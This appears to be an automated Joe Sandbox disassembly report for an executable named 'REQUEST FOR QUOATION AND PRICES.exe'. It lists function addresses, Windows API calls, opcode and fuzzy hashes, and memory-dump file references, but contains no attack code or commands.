API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00406208

CreateDirectoryW.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00403347

Strings

1033, xrefs: 0040334E
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user~1\AppData\Local\Temp\
API String ID: 4115351271-3049706366
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
Opcode Fuzzy Hash: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00541600), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
Opcode Fuzzy Hash: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000001FD,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
Opcode Fuzzy Hash: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction ID: 4da21f5269aa326e6de85e385cb401583d451f1930efd1289825586750b78c36
Opcode Fuzzy Hash: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction Fuzzy Hash: 84E08CB2B04104DBDB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C008E3E

Function 00405B56 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,80000000,00000003), ref: 00405B5A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
